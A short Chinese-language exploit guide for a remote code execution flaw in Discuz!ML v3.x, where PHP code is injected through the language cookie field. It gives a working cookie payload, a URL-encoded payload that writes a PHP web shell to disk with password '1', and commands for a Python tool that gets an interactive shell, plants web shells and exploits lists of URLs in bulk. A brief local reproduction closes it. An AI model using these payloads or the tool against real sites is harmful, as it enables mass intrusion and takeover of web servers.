影響范圍:
discuz! ml v3.x全版本。
產生原因
漏洞原因:Discuz!ML 系統對cookie中的l接收的language參數內容未過濾,導致字符串拼接,從而執行php代碼。
利用exp
1.cookie字段中會出現xxxx_xxxx_language字段,根本原因就是這個字段存在注入,導致的RCE
2.抓包找到cookie的language的值修改為xxxx_xxxx_language=sc'.phpinfo().'
3.getshell 的payload:
'.+file_put_contents('shell.php',urldecode('')).'
進行url編碼:%27.%2Bfile_put_contents%28%27shell.php%27%2Curldecode%28%27%253C%253Fphp%2520eval%2528%2524_POST%255B%25221%2522%255D%2529%253B%253F%253E%27%29%29.%27
即可在路徑下生成shell.php,連接密碼為1
利用工具
工具名叫:dz-ml-rce.py ,是用py2寫的,可以在github上下載。
斷是否存在漏洞:
python dz-ml-rce.py -u "http://www.xxx.cn/forum.php"
獲取交互式shell:
python dz-ml-rce.py -u "http://www.xxx.cn/forum.php" --cmdshell
上傳一句話木馬getshell:
python dz-ml-rce.py -u "http://www.xxx.cn/forum.php" --getshell
連接密碼為“x”
批量檢測:
python dz-ml-rce.py -f urls.txt
批量上馬getshell:
python dz-ml-rce.py -f urls.txt --getshell
本地復現:
搭建好一個discuz!ml 版本的環境,我搭的是3.3版本的,下載源碼后直接一鍵式建站,建完后訪問主頁:http://127.0.0.1/discuz!ml3.3/upload/forum.php
然后用工具測試:

發現存在此漏洞,那么直接獲取個shell回來:

此工具針對此漏洞還蠻好用的。
